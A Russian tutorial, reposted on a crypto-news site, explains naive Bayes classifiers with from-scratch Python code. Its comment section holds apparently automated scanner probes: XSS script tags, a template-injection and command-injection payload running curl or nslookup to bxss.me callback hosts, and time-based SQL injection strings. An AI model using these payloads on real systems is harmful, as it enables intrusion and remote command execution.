Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Машинное обучение: Наивный байесовский классификатор. Теория и реализация. С нуля

В этой статье я привел основные сведения о трех основных видах НБК и показал реализацию каждого.

Содержание: формулировка задачи, независимость признаков, теория для мультиномиального, гауссовского и бернулли и их реализация.

Введение

Наивный байесовский классификатор (НБК) является простым, но эффективным алгоритмом в машинном обучении, используемым для задач классификации.

НБК основан на теореме Байеса, которая позволяет рассчитать условную вероятность события на основе предварительной информации. В контексте классификации, он используется для расчета вероятности принадлежности объекта к определенному классу на основе его признаков.

В основе идеи НБК лежит допущение (предположение) о том, что все признаки, описывающие объект, независимы друг от друга. Это предположение часто не выполняется в реальных задачах, но несмотря на это, алгоритм часто показывает хорошие результаты.

Выделяют три типа НБК, которые зависят от распределения набора данных: гауссовский, мультиномиальный и бернулли. Гауссовский используется, когда набор данных распределен нормально, это подходит для непрерывных признаков. Мультиномиальный используется, когда набор данных содержит дискретные значения, используется в текстовой классификации. Бернулли используется при работе над задачами бинарной классификации с бинарными признаками.

НБК используется в таких задачах, как: классификация текста, например, классификация электронных писем как спам или не спам; анализ комментариев - определение тона (положительный, отрицательный, нейтральный); системы рекомендаций - может быть использован для рекомендаций на основе пользовательских предпочтений.

Формулировка задачи

Пусть есть набор данных, который представляет собой наблюдения входных и выходных событий. Входные события — входные признаки, выходные события — выходные признаки. Выходные события зависят от наступления входных событий. Когда на вход подаются входные признаки, то нужно вычислить вероятность наступления каждого выходного события (класса).

На основе набора данных можно рассчитать вероятности для каждого входного и выходного события на основе их частоты. Вероятности входных или выходных событий, рассчитанные на основе набора данных, называются априорными. Вероятности выходных событий, рассчитанные для новых данных, не участвующих в вычислении априорных вероятностей, называются апостериорными. Задача в том, чтобы рассчитать апостериорные вероятности для новых входных данных. Для этого будет использоваться теорема Байеса.

Теорема Байеса. Она позволяет рассчитать апостериорную вероятность (вероятность события при условии выполнения другого события). Формула теоремы Байеса выглядит следующим образом:

P(A|B) = \frac{P(B|A) P(A)}{P(B)}

P(A|B) — апостериорная вероятность события A при условии B (при наличии события B, то есть для новых входных признаков), P(B|A) — априорная вероятность события B при условии A (рассчитывается из набора данных), P(A) — априорная вероятность события A (рассчитывается из набора данных), P(B) — априорная вероятность события B (рассчитывается из набора данных).

Независимость признаков

Вероятностная модель НБК — это условная модель p(c|x_1,...,x_n) над зависимой переменной класса c, зависимая от нескольких переменных (x_1,...,x_n), n — число признаков.

По формуле Байеса:

P(c|x_1,...,x_n) = \frac{P(x_1,...,x_n|c) P(c)}{P(x_1,...,x_n)}

Все признакия x_i являются зависимыми друг от друга, они описывают какой-то объект, который относится к классу c. Так как они зависимы, то вероятность P(x_1,...,x_n|c) вычисляется через правило совместной вероятности:

P(x_1,...,x_n|c) = P(x_1|c) P(x_2|c, x_1) P(x_3|c, x_1, x_2) \cdot ... \cdot P(x_n|c, x_1,...,x_{n-1})

Вычисление такой вероятности вычислительно сложно, поэтому делается допущение, что признаки независимы, тогда вычисление вероятности упрощается.

Допустим, что каждый признак x_i независим от других, тогда вероятность P(x_1,...,x_n|c) будет рассчитываться так:

P(x_1,...,x_n|c) = P(x_1|c) \cdot P(x_2|c) \cdot ... \cdot P(x_n|c) = \prod_{i = 1}^{n} P(x_i|c)

Вероятность P(x_1,...,x_n) вычисляется так же по правилу совместной вероятности:

P(x_1,...,x_n) = P(x_1) \cdot P(x_2|x_1) \cdot ... \cdot P(x_n|x_1,...,x_{n-1})

если признаки независимы, то:

P(x_1,...,x_n) = P(x_1) \cdot P(x_2) \cdot ... \cdot P(x_n)

НБК делает предположение о независимости признаков друг от друга при заданном классе, поэтому он называется наивным, это упрощает вычисления, но не всегда верно в реальных данных (почти всегда не верно), так как признаки определенно зависят друг от друга.

Мультиномиальный НБК

Мультиномиальный НБК является одним из вариантов НБК, специально предназначенный для работы с дискретными признаками, которые распределены мультиномиально. Этот тип НБК является мощным инструментом для классификации текстовых данных и других задач, где признаки имеют мультиномиальное распределение.

Теорема Байеса позволяет рассчитать апостериорную вероятность наступления события c при условии, что событие x произошло, следующим образом:

P(c_k|x) = {{\frac{1}{P(x)} P(x|c_k) \cdot P(c_k)}} = \frac{1}{P(x)} P(c_k) \cdot \prod_{i = 1}^{n} p(x_i|c_k)

P(c_k|x) — апостериорная вероятность класса c_k при условии признаков x (задача в том, чтобы вычислить ее), P(x|c_k) — правдоподобие априорных вероятностей признаков для класса c_k, P(c_k) — априорная вероятность классаc_k, P(x) — априорная вероятность признаков x, n — общее число различных признаков в наборе данных, k — число различных классов в наборе данных.

Априорные вероятности P(c_k) классов представляют собой вероятность появления каждого класса в наборе данных. Эти вероятности можно оценить как частота появления объектов каждого класса в обучающей выборке. Формула для вычисления:

P(c_k) = \frac{n_c}{n}

n_c — число объектов класса c_k, n — общее число объектов в обучающей выборке.

Априорные вероятности появления каждого признака для каждого класса вычисляются на основе обучающих данных. В случае мультиномиального распределения, это делается по формуле:

P(x_i|c_k) = \frac{n_{ic} + \alpha}{n_с + \alpha n_v}

n_{ic} — количество раз, когда признак x_i встречается в классе c_k (количество появлений данного признака в наборе данных для этого класса), n_c — общее количество всех признаков в классе c_k в наборе данных (общая сумма появлений каждого признака для класса c_k), \alpha — сглаживающий параметр, предотвращает появление нулевых вероятностей, n_v — число уникальных признаков (слов) в словаре (словарь — vocabulary). Если априорная вероятность какого-то признака будет нулевой, тогда вся дробь в формуле Байеса станет нулевой, это нам не нужно (их можно просто не учитывать).

Априорная вероятность P(x) наступления события x в знаменателе формулы, рассчитывается так:

P(x) = p(x_1) \cdot p(x_2) \cdot ... \cdot p(x_n)

Вероятность каждого признака рассчитывается как частота появления этого признака в наборе данных:

p(x_i) = \frac{n_{xi}}{n}

n_{xi} — число появления признака x_i в наборе данных, n — общее число появлений всех признаков в наборе данных.

Так как для всех новых данных знаменатель в формуле один и тот же, то на практике его не учитывают, остается только числитель. Апостериорные вероятности рассчитываются как произведение априорных вероятностей классов и априорных вероятностей признаков:

P(c_k|x) = P(c) \cdot \prod_{i = 1}^{n} P(x_i|c_k)

x — список признаков нового объекта, n — число признаков в списке (или общее число уникальных признаков в наборе данных). Класс с максимальной апостериорной вероятностью выбирается как прогноз, ответ модели.

Реализация мультиномиального НБК

Для проверки мультиномиального и бернулли будем использовать несколько предложений, позитивных, нейтральных и негативных тонов речи, которые записаны в отдельном файле.

Для начала создаем класс, который содержит общие поля и методы для всех трех видов НБК.

class NBC:
    def __init__(self):
        self.labels_probabilities = dict()
        self.unique_labels = list()

    def _unique_labels_(self, labels):
        return list(set(labels))

    def _labels_probabilities_(self, labels):
        label_score = {label: 0 for label in self.unique_labels}

        for label in labels:
            label_score[label] += 1

        return {label: label_score[label] / len(labels) for label in self.unique_labels}

Общие для всех — список уникальных меток классов и их априорные вероятности. Считаем число каждой метки в наборе данных и делим на общее число всех меток.

Далее создаем класс для мультиномиального НБК.

class MultinomialNBC(NBC):
    def __init__(self):
        NBC.__init__(self)

        self.unique_features = list()
        self.features_probabilities = dict()
        self.alpha = 1

    def _unique_features_(self, inputs):
        features = list()

        for inp in inputs:
            for feature in inp:
                if feature not in features:
                    features.append(feature)

        return features

Делаем дополнительные поля: уникальные признаки, их условные вероятности и параметр alpha для предотвращения нулевых вероятностей. В методе unique_features выбираются уникальные признаки feature из каждого объекта inp из списка inputs обучающего набора данных.

Далее делаем метод для расчета условных вероятностей признаков.

def _features_probabilities_(self, inputs, labels):
    probabilities = {label: dict() for label in self.unique_labels}

    for label in self.unique_labels:
        probabilities[label] = {feature: 0 for feature in self.unique_features}
        features_count = 0

        for feature in self.unique_features:
            feature_count = self._feature_count_per_label_(feature, label, inputs, labels)
            probabilities[label][feature] = feature_count
            features_count += feature_count

        for feature in self.unique_features:
            numerator = probabilities[label][feature] + self.alpha
            denominator = features_count + self.alpha * len(self.unique_features)
            probabilities[label][feature] = numerator / denominator

    return probabilities

Создаем словарь probabilities, в котором будут храниться значения условных вероятностей для каждого уникального признака для каждой уникальной метки класса. Для каждого класса label считаем общее число появления всех признаков features_count. Для каждого уникального признака считаем число его появлений feature_count для конкретного класса label. Далее рассчитываем условные вероятности признаков по формуле, которая дана в теоретической части.

Чтобы посчитать число отдельного признака feature_count для данного класса label делаем отдельный метод.

def _feature_count_per_label_(self, feature, label, inputs, labels):
    feature_count = 0

    for i, inp in enumerate(inputs):
        if labels[i] == label:

            for inp_feature in inp:
                if inp_feature == feature:
                    feature_count += 1

    return feature_count

Проходимся по каждому объекту inp в списке всех объектов inputs и считаем число появлений feature_count рассматриваемого признака feature для данного класса label.

Теперь делаем метод fit, в котором будут рассчитываться все данные для модели.

def fit(self, inputs, labels, alpha=1):
    self.alpha = alpha
    self.unique_features = self._unique_features_(inputs)
    self.unique_labels = self._unique_labels_(labels)
    self.features_probabilities = self._features_probabilities_(inputs, labels)
    self.labels_probabilities = self._labels_probabilities_(labels)

Сначала нужно выделить уникальные признаки и метки, потом на их основе вычислять вероятности.

Теперь делаем метод для вычисления ответа модели. Делаем два метода: для расчета вероятности для конкретного класса и для определения класса, у которого максимальная вероятность.

def _predict_label_(self, label, inp):  # calculate posterior probability for each class
    inp_probability = 1

    for feature in inp:
        if feature in self.unique_features:
            inp_probability *= self.features_probabilities[label][feature]

    return inp_probability * self.labels_probabilities[label]

def predict(self, inp):
    probabilities = [self._predict_label_(label, inp) for label in self.unique_labels]
    max_item_idx = argmax(probabilities)

    return self.unique_labels[max_item_idx]  # return class with the highest posterior

Проходимся по каждому классу label в списке уникальных меток и вычисляем для него апостериорную вероятность. В методе predict_label происходит перемножение условных вероятностей всех входных признаков, затем происходит умножение на априорную вероятность данного класса label. После вычисления апостериорной вероятности для каждого класса выбираем метку класса с максимальным значением с помощью функции argmax.

def argmax(items):
    max_item_idx = 0

    for idx, item in enumerate(items):
        if item > items[max_item_idx]:
            max_item_idx = idx

    return max_item_idx

Эта функция возвращает индекс элемента с максимальным значением

Проверяем и тестируем с помощью набора данных.

from nbc_data import positive, negative, neutral

all_messages = positive[:-1] + negative[:-1] + neutral[:-1]
test_messages = [positive[-1], negative[-1], neutral[-1]]

translate_table = str.maketrans({char: '' for char in "!,.?"})

inputs = [inp.translate(translate_table).split() for inp in all_messages]
test_inputs = [inp.translate(translate_table).split() for inp in test_messages]

labels = [0 for _ in positive[:-1]]
labels += [1 for _ in negative[:-1]]
labels += [2 for _ in neutral[:-1]]

test_labels = [0, 1, 2]

mult_nbc = MultinomialNBC()
mult_nbc.fit(inputs, labels)

for i, msg in enumerate(test_inputs):
    print(test_labels[i], mult_nbc.predict(msg))

print("================================")
for i, msg in enumerate(inputs):
    print(labels[i], mult_nbc.predict(msg))
output:
0 0
1 1
2 2
================================
0 0
...
2 2

Из каждого предложения убираем ненужные символы или подстроки с помощью таблицы translate_table. Создаем ее с помощью метода maketrans и словаря соответствий. В этой таблице записывается соответствие определенной подстроки другой подстроке. В этом примере происходит замена каждого из четырех знаков препинания на «пустой символ». Применяем эту таблицу к каждому предложению в наборе данных методом translate и разделяем предложения на слова методом split. В итоге получается список из списков слов.

Далее делаем списки меток для каждого из положительных, нейтральных и отрицательных тонов речи. Создаем объект класса MultinimialNBC и обучаем модель. Затем проверяем результаты.

Перед тем, как передавать текст в модель, его было бы хорошо как-то предварительно обработать, например, привести все слова в начальную форму, чтобы одни и те же слова в разных склонениях рассматривались как одно и то же слово.

Гауссовский НБК

Этот тип НБК предназначен для классификации данных с непрерывными значениями признаков. Априорные вероятности каждого класса вычисляются как и для мультиномиального НБК.

Для каждого признака и каждого класса вычисляются средние значения и стандартные отклонения по обучающим данным.

Среднее значение:

\mu_k = \frac{1}{n} \sum_{j=1}^{n} x_{ij}

n — число всех i-тых признаков для класса c_k (число всех объектов, у которых этот признак не нулевой для класса c_k).

Стандартное отклонение:

\sigma_k = \sqrt{\frac{1}{n}\sum_{j=1}^{n} (x_{ij} - \mu_k)^2}

n — число всех i-тых признаков для класса c_k.

Используя нормальное распределение (гауссовское распределение), рассчитывается вероятностная плотность признаков (априорная вероятность признаков) для каждого класса. Другими словами происходит масштабирование признаков для каждого класса по нормальному распределению. Формула для нормального распределения:

P(x_i|с_k) = \frac{1}{\sqrt{2 \pi \sigma_k^2}} exp(-{\frac{(x_i - \mu_k)^2}{2 \sigma_k^2}})

x_i — значение i-го признака, μ_k — среднее значение i-го признака в классе c_k, \sigma_k — стандартное отклонение i-го признака в классе c_k.

Априорные вероятности для каждого признака рассчитываются аналогично как и для мультиномиального НБК, только с использованием формулы для расчета плотности вероятности. Нужно будет рассчитывать по всем признакам независимо от класса.

Апостериорные вероятности рассчитываются как произведение априорных вероятностей классов и вероятностных плотностей признаков нового объекта. Учитывая предположение, что признаки независимы:

P(с_k|x) = P(с_k) \cdot \prod_{i = 1}^{n} P(x_i|с_k)

x — вектор признаков, n — число признаков.

После того, как все было рассчитано, класс с максимальной апостериорной вероятностью выбирается как прогноз модели.

Реализация гауссовского НБК

Для проверки гауссовского используем генератор набора данных из sclearn.

Для этого НБК понадобятся среднее значение и значение стандартного отклонения. Создаем новый класс, наследуем его от класса NBC, в котором есть общие для всех поля и методы, и инициализируем его в методе init. Добавляем поля для средних значений и стандартного отклонения.

class GaussianNBC(NBC):
    def __init__(self):
        NBC.__init__(self)

        self.mean = dict()
        self.std = dict()

    def _mean_(self, feature_items):
        return sum([item for item in feature_items]) / len(feature_items)

    def _std_(self, feature_items):  # standart deviation
        mean = self._mean_(feature_items)
        squared_sum = sum([(item - mean) ** 2 for item in feature_items])

        return sqrt(squared_sum / len(feature_items))

Делаем методы для вычисления среднего значения для списка чисел и для вычисления стандартного отклонения для списка чисел. Вычисление происходит по формулам, описанным в теоретической части.

Метод для того, чтобы выбирать i-й признак для определенного класса.

def _feature_items_per_label_(self, feature_idx, label, inputs, labels):
    feature_items = list()

    for i, inp in enumerate(inputs):
        if labels[i] == label:
            feature_items.append(inp[feature_idx])

    return feature_items

Создаем список для каждого значения i-го признака (feature_idx), который относится к данному класса label. Проходимся по каждому объекту в обучающих данных. Если метка объекта соответствует рассматриваемой метке label, то выбираем из этого объекта inp признак с данным feature_idx индексом. Таким образом мы отбираем нужные нам признаки из объектов, которые относятся к определенному классу. Далее на основе этого списка признаков будет рассчитываться среднее значение и стандартное отклонение.

Теперь делаем метод для отбора каждого i-го признака для каждого класса.

def _features_items_(self, inputs, labels):
    features_num = len(inputs[0])
    features_items = {label: dict() for label in self.unique_labels}

    for label in self.unique_labels:
        features_items[label] = {i: list() for i in range(features_num)}

        for i in range(features_num):
            features_items[label][i] = self._feature_items_per_label_(i, label, inputs, labels)

    return features_items

Создаем переменную с числом признаков для каждого объекта. Создаем словарь, индексами которого являются уникальные значения меток классов. Для каждого класса создается словарь, в котором хранятся списки i-ых признаков.

Проходимся по каждой уникальной метке класса и создаем для нее словарь, в котором будут храниться списки значений для каждого i-го признака. Для каждого i-го признака создаем список признаков с помощью метода feature_items_per_label.

Теперь делаем метод, в котором будут создаваться словари для хранения значений среднего и стандартного отклонения для каждого признака для каждого класса.

def _get_features_parameters_(self, inputs, labels):
    features_items = self._features_items_(inputs, labels)
    mean = {label: dict() for label in self.unique_labels}
    std = {label: dict() for label in self.unique_labels}

    for label, feature_items in features_items.items():
        mean[label] = {i: 0 for i in range(len(inputs[0]))}
        std[label] = {i: 0 for i in range(len(inputs[0]))}

        for feature_idx, items in feature_items.items():
            mean[label][feature_idx] = self._mean_(feature_items=items)
            std[label][feature_idx] = self._std_(feature_items=items)

    return mean, std

В нем создается словарь features_items, в котором хранятся списки для каждого признака для каждого класса. Например, список всех значений первых признаков, которые состоят в объектах первого класса, для объектов другого класса значения первых признаков учитываться не будет.

В словаре mean хранятся средние значения для каждого i-го признака для каждого из классов, в словаре std то же самое, только для стандартных отклонений.

Рассчитываем значения mean и std для каждой группы признаков и сохраняем их для модели.

Вызываем все эти методы в методе fit.

def fit(self, inputs, labels):
    self.unique_labels = self._unique_labels_(labels)
    self.labels_probabilities = self._labels_probabilities_(labels)
    self.mean, self.std = self._get_features_parameters_(inputs, labels)

Делаем метод, в котором будет происходить нормировка каждого признака для нового входного объекта. Нормировка производится на основе рассчитанных mean и std в методе fit.

def _gaus_scaling_(self, inp, label):
    scaled_inp = list()

    for idx, value in enumerate(inp):
        numerator = e ** (-(value - self.mean[label][idx]) ** 2 / (2 * self.std[label][idx] ** 2))
        denominator = sqrt(2 * pi * self.std[label][idx] ** 2)
        scaled_inp.append(numerator / denominator)

    return scaled_inp

Используем формулу нормального распределения, которая дана в теоретической части. Преобразуем каждый входной признак и получаем объект с отнормированными признаками.

Теперь делаем метод для получения ответа модели.

def _predict_label_(self, inp, label):  # calculate posterior probability for each class
    return self.labels_probabilities[label] * product(self._gaus_scaling_(inp, label))

def predict(self, inp):
    probabilities = [self._predict_label_(inp, label) for label in self.unique_labels]
    max_item_idx = argmax(probabilities)

    return self.unique_labels[max_item_idx]  # return class with the highest posterior

Проходимся по каждой уникальной метке класса и вычисляем апостериорную вероятность для этих классов. Выбираем метку класса, у которого максимальная вероятность.

Функция умножения product реализуется так.

def product(items):
    res = 1

    for item in items:
        res *= item

    return res

Проверяем работу модели.

from sklearn.model_selection import train_test_split
from sklearn.datasets import make_blobs

x_dataset, y_dataset = make_blobs(n_samples=150, n_features=4, centers=3, random_state=123)
x_train, x_test, y_train, y_test = train_test_split(x_dataset, y_dataset, test_size=0.2, random_state=123)

gauss_nbc = GaussianNBC()
gauss_nbc.fit(inputs=x_train, labels=y_train)

for i in range(len(x_test)):
    print(y_test[i], gauss_nbc.predict(x_test[i]))
output:
1 1
1 1
...
2 2

Создаем искусственный набор данных с помощью функции make_blobs. Указываем число признаков, классов и число объектов. Делим их на тестовые и обучающие с помощью функции train_test_split в отношении 20% к 80%. Обучаем модель и проверяем.

НБК Бернулли

НБК Бернулли - вариант НБК для работы с бинарными признаками, которые имеют бернуллиевское распределение и с двумя классами (0 или 1). В данном случае признаки представляют собой бинарные индикаторы наличия или отсутствия определённых характеристик у объекта, а ответ представляет собой вероятность одного из классов. Например, в таких задачах, как бинарная классификация текста, классификация электронных писем как спам или не спам, где каждое слово в тексте представлено бинарным признаком (присутствует или отсутствует).

Аналогичным образом вычисляются априорные вероятности каждого класса на основе обучающих данных, только теперь будет всего 2 класса.

Для НБК Бернулли, каждый признак является бинарным (0 или 1), соответственно, вероятности признаков P(x_i|c_k) представляют собой вероятность появления каждого бинарного признака x_i в объекте с классом c_k, то есть наличие или отсутствие в объекте. Эти вероятности можно вычислить так:

P(x_i = 1|c_k) = p_i, P(x_i = 0|c_k) = 1 - p_i

p_i — вероятность появления признака x_i в классе c_k, которая оценивается как частота появления этого признака в классе c_k в обучающей выборке,

p_i = \frac{n_c(x_i = 1)}{n}

n_c — число появлений i-го признака для класса c_k, n — число всех объектов класса c. То есть нужно посчитать число объектов с данным признаком и с данным классом и поделить на число всех объектов данного класса.

Для каждого признака вычисляются априорная вероятность по этой формуле:

P(x_i|c_k) = p_i x_i + (1 - p_i)(1 - x_i)

x_i — значение i-го признака (0 или 1) в рассматриваемом объекте, p_i — вероятность появления i-го признака в классе c. Если признак x_i присутствует в объекте (x_i= 1), то получится вероятность появления признака p_i, если признак отсутствует (x_i= 0), то получится вероятность не появления признака (1 - p_i). НБК Бернулли учитывает, что в ответе модели признаки не появляются во входном объекте.

Всего 2 класса, но как прогноз выбирается так же класс с максимальной апостериорной вероятностью. Можно вычислить сначала вероятность для одного класса и затем, чтобы вычесть вероятность второго класса, можно вычесть из единицы значение вероятности первого класса. Но для этого понадобится учесть знаменатель в формуле Байеса. Поэтому будет проще просто вычислить апостериорную вероятность для обоих классов без учета знаменателя.

Реализация НБК Бернулли

Создаем класс BernoullyNBC и наследуем его от MultinimialNBC, чтобы не переписывать готовый код. Нужно будет всего лишь изменить пару методов.

class BernoullyNBC(MultinomialNBC):
    def __init__(self):
        MultinomialNBC.__init__(self)

Переопределяем методы features_probabilities и feature_count_per_label, так как в этом НБК они рассчитываются по-другому.

def _feature_count_per_label_(self, feature, label, inputs, labels):
    feature_count, label_count = 0, 0

    for i, inp in enumerate(inputs):
        if labels[i] == label:
            label_count += 1

            for inp_feature in inp:
                if inp_feature == feature:
                    feature_count += 1
                    break  # до первого появления в примере

    return feature_count, label_count

  
def _features_probabilities_(self, inputs, labels):
    probabilities = {label: dict() for label in self.unique_labels}

    for label in self.unique_labels:
        probabilities[label] = {feature: 0 for feature in self.unique_features}

        for feature in self.unique_features:
            feature_count, label_count = self._feature_count_per_label_(feature, label, inputs, labels)
            probabilities[label][feature] = feature_count / label_count

    return probabilities

Нужно посчитать число появления (присутствия) каждого признака для каждого класса. В методе feature_count_per_label происходит подсчет числа определенного признака для определенного класса, учитывается лишь присутствие (0 или 1) этого признака, поэтому только до первого появления.

Потом в методе features_probabilities рассчитывается вероятность появления каждого признака. Нужно поделить число появления данного признака на число объектов, в которых присутствует этот признак. Формулы даны в теоретической части.

Так как для этого НБК важно только наличие признаков, то нужно сделать метод, в котором выделяются только уникальные признаки для нового входного объекта.

def _unique_features_per_input_(self, inp):
    features = list()

    for feature in inp:
        if feature not in features:
            features.append(feature)

    return features

Осталось только изменить метод для расчета числителя.

def _predict_label_(self, label, inp):
    inp_probability = 1
    unique_inp_features = self._unique_features_per_input_(inp)

    for feature in inp:
        if feature in self.unique_features:
            if feature in unique_inp_features:
                inp_probability *= self.features_probabilities[label][feature]

            else:
                inp_probability *= 1 - self.features_probabilities[label][feature]

    return inp_probability * self.labels_probabilities[label]

Числитель вычисляется тоже по-другому, формула дана в теоретической части. Если признак присутствует, то учитывается его условная вероятность присутствия, если отсутствует — учитывается его условная вероятность отсутствия.

Проверяем и тестируем.

from nbc_data import positive, negative

train_pos, train_neg = positive[:-2], negative[:-2]
test_pos, test_neg = positive[-2:], negative[-2:]

translate_table = str.maketrans({char: '' for char in "!,.?"})

inputs = [inp.translate(translate_table).split() for inp in train_pos + train_neg]
test_inputs = [inp.translate(translate_table).split() for inp in test_pos + test_neg]

labels = [0 for _ in train_pos]
labels += [1 for _ in train_neg]
test_labels = [0 for _ in test_pos]
test_labels += [1 for _ in test_neg]

bernoully_nbc = BernoullyNBC()
bernoully_nbc.fit(inputs, labels)

for i, msg in enumerate(inputs):
    print(labels[i], bernoully_nbc.predict(msg))

print("==========================")

for i, msg in enumerate(test_inputs):
    print(test_labels[i], bernoully_nbc.predict(msg))
output:
0 0
...
1 1
==========================
0 0
...
1 1

Преимущества и недостатки

НБК относительно прост в реализации.

Модель не нуждается в обучении, нужно лишь посчитать частоту, что делает его полезным для больших наборов данных.

Он хорошо работает с разреженными данными (с небольшим набором данных) и не требует масштабирования признаков.

НБК достаточно устойчив к шуму и отсутствующим значениям признаков.

Основным ограничением является предположение о независимости признаков, которое почти всегда не выполняется. Это может привести к плохим результатам, когда между признаками есть сильные корреляции.

Алгоритм не учитывает порядок и вес признаков, что может быть важным в некоторых задачах (возможно получится сделать дополнительную модель с весами, которые будут учитываться в НБК).

Если количество примеров каждого класса в наборе данных сильно отличается, то вероятность будет больше у классов с большим числом примеров, то есть, если набор данных несбалансирован, то вероятность будет больше у классов с большим числом примеров.

В целом, НБК является мощным и простым инструментом для решения задач классификации в машинном обучении, несмотря на его ограничения.

Заключение

Здесь была разобрана теоретическая часть работы основных трех видов НБК. Возможно есть какие-то неточности в описании моделей этих трех видов НБК, но основная идея каждого из них показана. Также дана формулировка задачи и рассказано, почему НБК называется наивным (наивное предположение о независимости признаков).

Я показал, как написать каждый из трех основных видов НБК с нуля. Получилось много кода и много замудренных объяснений, но это не проблема. Если есть желание, то очень легко можно в этом всем разобраться, нужно лишь провернуть эту всю логику в уме пару раз, тем более код достаточно понятный. Есть теоретическая часть, в которой есть все используемые здесь формулы и более подробное описание логики работы НБК.

Ссылка на папку с кодом из статьи на ГитХабе.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

